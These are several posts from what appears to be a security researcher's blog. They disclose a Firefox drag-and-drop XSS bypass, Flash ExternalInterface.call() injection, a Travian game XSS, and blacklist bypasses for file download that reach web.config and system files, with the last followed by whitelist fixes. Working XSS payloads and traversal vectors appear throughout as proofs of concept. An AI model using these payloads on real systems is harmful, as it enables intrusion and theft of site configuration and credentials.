Bug has been reported/NoScript users are safe
First of all, this vulnerability and the related techniques have already been reported to Mozilla on 21st Nov 2011, without having any specific result till the date of this report (issue ID 704354 – works on all the latest versions which support HTML5). I had raised this bug as a major issue, but it seems it was not important from Mozilla Firefox point of view and its risk is not high at all.
However, NoScript can protect the users against it from version 2.2.3 [released about three weeks ago] (http://noscript.net/changelog) – thanks to Giorgio Maone for the fast response and quick fix.
As there is already a solution for this issue and its impact is not high, I am going to publish my research results as they belong to 2011!
Introduction
As you may have noticed, most of the modern browsers are recently protecting their users from running unwanted JavaScript by copying and pasting it in the address bar or even by dragging and dropping it into a web page. In this research, I have found a technique to bypass Drag/Drop protection in Mozilla Firefox to run a JavaScript. As a final result, it is possible to drag and drop a hidden JavaScript into a predefined HTML5 box and run the Javascript code. Unfortunately, if you put this page in an IFrame, the Javascript code can be run on the context of the main site that includes the IFrame. For instance, When Facebook opens any URL in a frame, it is possible to run a JavaScript code on Facebook website by drag and drop jacking.
The current protection
In order to understand the Mozilla Firefox protection against JavaScript Drag and Drop, follow these steps:
1- Go to Mozilla Firefox address bar and type “javascript:alert(1)” without pressing Enter.
2- Select all the string that you have just typed (“javascript:alert(1)” without quote signs).
3- Drag and drop it on a new tab or on the context of the same tab that you currently have. You will not receive any alert message.
First bypass method- Letter Capitalization
Now, in previous steps, capitalize one or more letters in the “javascript:” string (for instance “jAvAscript:”) and drag/drop it into the page. You should be able to see an alert message as you have bypassed the Mozilla Firefox protection!
Second bypass method- XSS by Feed Protocol
I have also found another interesting protocol in Mozilla Firefox that can lead to running a JavaScript. This protocol can be used as follows to bypass the Mozilla Firefox prevention method:
“feed:javascript:alert(1)”
“feed:feed:feed:javascript:alert(1)”
“feed:javascript:javascript:feed:alert(1)”
“feed:feed:javascript:javascript:feed:alert(1)”
” feed:feed:feed:javascript:alert(1)”
A possible exploitation method – HTML5 drag/drop functionality
In this step, I had to find a way to use the issue and exploit the system to prove that it can be an important security risk; however, there are two facts that made it a bit difficult:
1- There is no point if we cannot run the JS code on the context of another site.
2- We need the user interaction to d/d a JS code. And it is not easy to deceive the users to d/d a JavaScript code when it is visible.
The first problem has been solved by using HTML5 D/D functionality that I have found from the following URL: “http://html5demos.com/drag“; I found out, if I drag and drop the “feed:javascript:alert(1)” to the drop location, the JavaScript will run due to the redirection. And interestingly, if this drop location is inside an IFrame, the main page will be redirected and therefore we can conduct an XSS attack on the context of the main website.
The second problem was also solved by using a hidden “textarea” tag that I found during my tests! In Mozilla Firefox, if you select a text with a hidden textarea, all the texts in that hidden textarea will be selected as well.
I have created a proof of concept which can be found in the following link:
PoC: http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html
Conclusion
In this research, I was able to bypass Mozilla Firefox – Javascript Drag and Drop by using capitalization and Feed protocol. Then I was able to exploit this issue to run a JavaScript code in the context of another website which can accept an external frame by using the HTML5 drag and drop functionality.
Future Works
It is still possible to bypass Mozilla Firefox prevention method by finding another protocol or maybe by using the encoding techniques.
If someone drags and drops a JavaScript into a page with “chrome://” protocol, it can lead to a local code execution; however, this protocol is highly protected by Mozilla Firefox and I was not able to find a way to make it possible. As a PoC, drag and drop the following Javascript code into the “chrome://global/content/config.js” page to run the local Windows Calculator:
“feed:jAvAscript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(‘c:\\windows\\system32\\calc.exe’);process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);”
I am quite busy these days and I cannot finish my articles or even write about the vulnerabilities in details. Moreover, I need to update my “Excel Advanced Search” Add-In to be compatible with Office 2010, and also I need to put my “Secure Text Steganography Techniques by using Markov Chain” in this blog in near future [this project is actually from summer 2008].
However, I have updated the “Advisories” section with my new reported issues in Some Mozilla Products, IIS, and Adobe Reader/Acrobat.
I hope I can find more free time soon :-)
Introduction:
This post is a result of reading the following useful report:
The other reason to beware ExternalInterface.call() (http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)
The issue that I want to discuss here is not something different; however, I want to add something to the current materials.
Description:
According to the Adobe website, ExternalInterface.call() can accept a JavaScript function name as the first argument and a string which would be sent to that JavaScript function. Adobe says “When the call is to a JavaScript function, the ActionScript types are automatically converted into JavaScript types; when the call is to some other ActiveX container, the parameters are encoded in the request message.”. Therefore, in our case, the string would be converted into JavaScript type.
All we are trying to say is that it is possible to inject a specific parameter to an input and change the way of running the JavaScript. I should say it is very similar to the current code Injection methods in which we actively change the queries/requests to run whatever we want!
Proof of Concepts:
I want to explain it by using the example that Adobe has put in its document. I have put all the files in the following URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ . Please use Mozilla Firefox if you want to see the same error messages as this PoC.
Now follow these steps:
1- Open this link: http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html
2- Enter “\”” in the flash box (dark box) and press the gray button in front of it:
3- Now, you should be able to see this error in Error Console:
As you can see, we could escape the slash character “\” which was for escaping the double quotation character. Therefore, we are able to inject our JavaScript here now.
4- Now, try to enter “\”));alert(/XSS/)}catch(e){}//” in that box and press the gray button. You should be able to see the alert message:
It is because of the fact that we could complete the main functions and comment the remaining bits which is the method of code injection.
Now, you may think that we need to have a valid JavaScript function in the page or you may even think we always need to have a HTML file. I will explain this in the next section and I will prove that you can execute a JavaScript code even by running the SWF file directly without using any HTML file or JavaScript function.
Run the flash file directly now:
Now I want to add this bit that we do not need to have a real JavaScript function or a HTML page to execute a JavaScript code under the website content. In this case we only need to put the JavaScript code inside the “catch” section. This is the PoC:
1- Open this URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf
2- Now, enter the following text in the box and press the button:
“\”));alert(/XSSThis/);}catch(e){alert(/XSSOr/)}//”
3- You should be able to see this message now:
As a result, we can do a XSS attack just by opening a vulnerable or malicious/uploaded SWF file.
Note: you may have problem with closing the alert window in some browsers.
Why can this be a risk?
The websites which are using ExternalInterface.call() with the user’s provided input -without having input validation- can be in risk of having XSS vulnerability. Besides, an attacker can upload a malicious SWF file when a website lets him/her do so in order to make the website vulnerable to XSS attack – in this case I should say, an attacker might be able to do more than a XSS by uploading a SWF file.
Solution(s):
If we think about this code injection, it is really another input validation issue. It again says that the developers must not trust the provided inputs and we certainly need to have input validation when we receive the user’s input.
Note: Regarding the main reference of this text, Adobe has not accepted this as an issue to fix it fundamentally yet.
References:
- The other reason to beware ExternalInterface.call() http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html
- Agora 3.0.0 RC1 Rev.4 XSS Vulnerability http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html
- Finding Vulnerabilities in Flash Applications http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt
- Cross-Site Scripting through Flash in Gmail Based Services http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html
- ActionScript 3.0 Language and Components Reference http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html
- Code Injection http://en.wikipedia.org/wiki/Code_injection
Here are the details of recent security patch of Travian game: http://forum.travian.com/showthread.php?p=1728991
There was a Cross Site Scripting (XSS) vulnerability in hero’s mansion rename section. This issue was because of using “id” and “gid” input parameters at the same time. “gid” was used for loading the hero’s mansion, and “id” was used to insert a Javascript code. You can only see one of them as an input for a single file at the same time. However, I used them together and found this vulnerability:
http://sN.travian.EXT/build.php?gid=37&id=<script here>&rename
As there was a “httponly” flag for the cookies, it was not possible to hijack the sessions. However, we could still use it to do several things. The simplest one was to hijack the saved username/password from the browser. I should say that there was another issue with the login page last year based on which someone could create the Travian cookie and log into the system by the victims session.
There was also another issue with validation of unique email addresses by which a user could create several accounts with the same email address. It was sufficient to enter a “comma” in front of the email address to have a new valid email address. For example someone could register several times without having any problem in receiving the confirmation code by using “test@secproject.com”, “,test@secproject.com” , “,,test@secproject.com”, and so on.
Fortunately these issues have been patched after more than a year. This delay was only because of not having a direct reference to contact as no one/source was publicly responsible for the security issues.
These issues go back to June 2009. Related Link: http://soroush.secproject.com/blog/2009/11/travian-game-vulnerabilities-in-progress/
Note: I highly suggest the providers to put at least one email address in their contact page for normal bugs and security issues. They should also have a process to fix a security issue and give its credit to the finder(s) somehow (by putting the finder’s name in the website news, release notes, …) if they do not want to pay for their vulnerabilities! It is a pain when the security researchers can only see sale and marketing email addresses in many of the providers’ contact pages; and that’s why too many of these security issues are being published before having any patch every day.
Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf
Unrestricted File Download V1.0 – Windows Server
I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to protect a system that uses Insecure Direct Object References by using black-list technique.
Whenever penetration testers see a website which accepts a path as an input, they think about these questions:
1- Can I have access to the secret files?
2- Can I do directory traversal?
3- Can I modify another file?
4- Can I do race condition?
And so on.
The answer from programming point of view is: “it depends!”:
1- If they have no protection in-place: “Yes. Yay!”
2- If they are using black-list method: “Think about a bypass now! There should be a way and I just need to find it! Think about encodings, decoding, effective characters, behaviour of the system against special characters, and so on.”
3- If they are using white-list method: “Is there anything on the list that can be misused? Can I stick some of them together to make another character or change the behaviour of the system?”
My point is that there is often a way to bypass a black-list. However, it is not the same for white-list if you do it correctly.
Let’s Bypass a Blacklist Method
Now, I want to use a case to show an example of using black-list, and methods of bypass.
Assume we have “www.vulnerable.com/download.aspx” which accepts a file path as an input and reads it and loads it into the output. (To make it easier, “/upload” folder is on the root of the website)
For example: “/download.aspx?file=/upload/document.doc”
Now, if you try the following inputs, you will receive an “access denied” error from the page:
“/download.aspx?file=web.config”
“/download.aspx?file=download.aspx”
“/download.aspx?file=/download.aspx”
But, if you try the following inputs, you will receive a “file not found” error or a blank-page from the page:
“/download.aspx?file=test.doc”
“/download.aspx?file=/upload/../test.txt”
“/download.aspx?file=/test.f0ob4r”
According to the response of the page, obviously, it is using a black-list method.
These are the first things that I can think about (my pre-test-cases):
0- Use uppercase, lowercase, and Unicode in the extension. For ex: “/download.aspx?file=/wEB.CoNfiG” and so on.
1- As you might know, there are some characters after the filename that will be ignored by Windows. So, I should try something like “/download.aspx?file=/web.config.” or “/download.aspx?file=/web.config… ..”
2- Using short filename format of the file: “/download.aspx?file=/web~1.con”
3- Using null character: “/download.aspx?file=/web.config%00.txt”
4- Using another extension in the path: “/download.aspx?file=/test.txt/../web.config”
5- Using different space characters in the path: “/download.aspx?file=/web.config%09”, “/download.aspx?file=/web.config%0a”, “/download.aspx?file=/web.config%0b”, “/download.aspx?file=/web.config%0c”, “/download.aspx?file=/web.config%0d”, “/download.aspx?file=/web.config%20”, and so on (similar to 1).
6- Finding a character that is removed by the web application automatically before loading a file to put it in the extension and bypass the black-list protection.
7- Try alternate data stream to read the files: “/download.aspx?file=/web.config::$Data”
8- Try to use direct path and share path. Ex: “/download.aspx?file=c:\\windows\\win.ini”, “/download.aspx?file=\\?\c:\\windows\\win.ini”, or “/download.aspx?file=\\127.0.0.1\c$\WINDOWS\\win.ini”
9- Try to do directory traversal. Ex: “/download.aspx?file=../../../../../../../../../../../boot.ini”
10- Try other file-system understandable vectors. Ex: “/download.aspx?file=web.config/.”, “/download.aspx?file=web.config\.”, and so on (similar to 1).
And combination of the above solutions to create more complicated test cases!
What do you think? Please let me know if you know any other interesting test case. This is the result:
| 0 | Successful: Web.config was downloaded |
| 1,2 | Failed: Show the source code in error message. Error: “Failed to map the path” |
| 3,7,8 | Failed: Show the source code in error message. Error: “is not a valid virtual path” |
| 4 | Failed: Access Denied |
| 5 | Successful: Web.config was downloaded |
| 6 | Failed: No character was found |
| 9 | Failed: Show the source code in error message. Error: “Cannot use a leading .. to exit above the top directory” |
| 10 | Successful: Web.config was downloaded. Some new vectors were found: “?file=\.”, “?file=/.”, “?file=/\./\.” |
Each of the above vectors could lead to bypassing the protection. Now, I can tell you that the actual vulnerable source code of the page was:
| 10 string fileName = Request.Params["File"];20 if (ForbidenExtentions.Contains(fileName.Substring(fileName.LastIndexOf(“.”))))
30 { 40 HttpContext.Current.Response.Redirect(“~/CustomError.aspx?msg=ForbidenFileDownload”); 50 } 60 if((fileName != null) && (fileName != “”)) 70 { 80 string strPath = Server.MapPath(“/” + fileName); 90 if(System.IO.File.Exists(strPath)) 100 { … |
And, we can download the confidential files with different vectors (see number 0, 5, and 10 on the table above). Now, an attacker can download the entire website and look for the credentials, hidden files and folders, and find any other vulnerability such as SQL Injection by having the source code.
Secure and Effective Solution
Now, what can we do to stop this attack? These are the general solutions:
1- Do not use direct object references when it is possible:
For indirect references, use something random, hard to guess, and meaningless such as GUIDs. You need to implement more functions and invest more time on programming and debugging. However, your achievements are:
1.1- Increasing the Security by using strong random pointers such as GUIDs
1.2- Easier asset managing and have different access controls
2- Force yourself to always use white-lists:
It is very rare that you have to only use a black-list for an input! If an input is random and unpredictable, you may need to redesign that input. Write down the input purpose(s) and do whatever you can to restrict it to a range of characters. Now, think about this range and review the characters one by one. Is there anything in the list which can cause an issue? Do you need to allow any other characters besides [a-zA-Z0-9]? Why? Think about it and follow the best security practices.
Sometimes you need to use blacklist after passing the input from a white-list to have more security. For example: an input can contain a file path. Therefore, we should allow dot “.” character. However, we should not allow any double dot “..” as it can cause directory traversal.
If you are designing a system, look for the vulnerabilities which have been reported on the similar systems in Internet. You may find something that you had not had any knowledge about it before! Do not think that you know everything! Even a semi-colon or colon can compromise your system sometimes.
Talk about your system with the security people; with experts (not script kiddies). You can ask your questions in different security forums to find a clue. Ask them to break your protection to improve the security.
Note 1: a bad implementation is worse than not having any implementation! When you don’t have any protection, at least you know you do not have anything to protect yourself and the system is unsafe!!! However, when you have an insecure/bad implementation, you think the system is safe enough but it is not, and attackers will find this out – trust me!
Note 2: If you are putting different inputs next to each other, it is better to pass them at least through a black-list protection after concatenation.
Now, without using an indirect reference, two solutions for our vulnerable example (“www.vulnerable.com/download.aspx”) can be:
Solution 1 (More White-list – more restricted):
1- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)
2- Replace all the dot characters before the backslash character (“.\”) with a single “\” character in order to make the validation easier. (Black-List)
3- Only accept limited characters as an input: RegEx: (([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*
4- File name should start with: RegEx: ^[a-zA-Z0-9\\] (White-list)
5- File name should end with: RegEx: [a-zA-Z0-9]$ (White-list)
Then a general ReGex will be (include 3, 4, and 5): ^([a-zA-Z0-9\\]{1})(([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*([a-zA-Z0-9])$ (White-list)
6- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)
Limitation: It is not possible to use Unicode or special characters in the file or the directory name.
Solution 2 (More Black-List – less restricted):
1- Trim the input to remove unnecessary spaces (Black-List)
2- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)
3- Replace all the “..” with “.” character in a loop till you cannot find any “..” anymore. (Black-List)
4- Replace all the space and dot characters before and after the “\” character with a single “\” character in order to make the validation easier. (Black-List)
5- Replace all the “\\” with “\” character in order to make the validation easier. (Black-List)
6- Path should not contain these characters: RegEx: [^:*?"<>|;~] – (for Windows OS)
7- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)
Quick Conclusion:
Stop using blacklist protections for direct object references if you cannot use indirect ones. Moreover, do not forget to talk to the specialists to implement it correctly.
Final Words
Please send me your feedbacks via my email address (irsdl at yahoo dot com) to improve this white-paper. You can use whole or part of this document by putting a reference to the author (Soroush Dalili) and link of the main document.
Currently just by using Google, a lot of vulnerable websites and Content Management Systems (CMS) can be found. If you find an issue based on the content/idea of this paper in a permitted system (such as your website CMS), please report it to its legal authority to patch the system as soon as possible; and I would be thankful if you put a link to this document as a reference in your advisory.
However, please do not use this knowledge against any website or system without having a legal permission. And, I do not accept any responsibility for any usage from this white-paper and its content/idea.
Reference(s):
- OWASP, Unrestricted File Upload: http://www.owasp.org/index.php/Unrestricted_File_Upload
—
Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf
—
Backup link is also available: http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf
Twitter
LinkedIn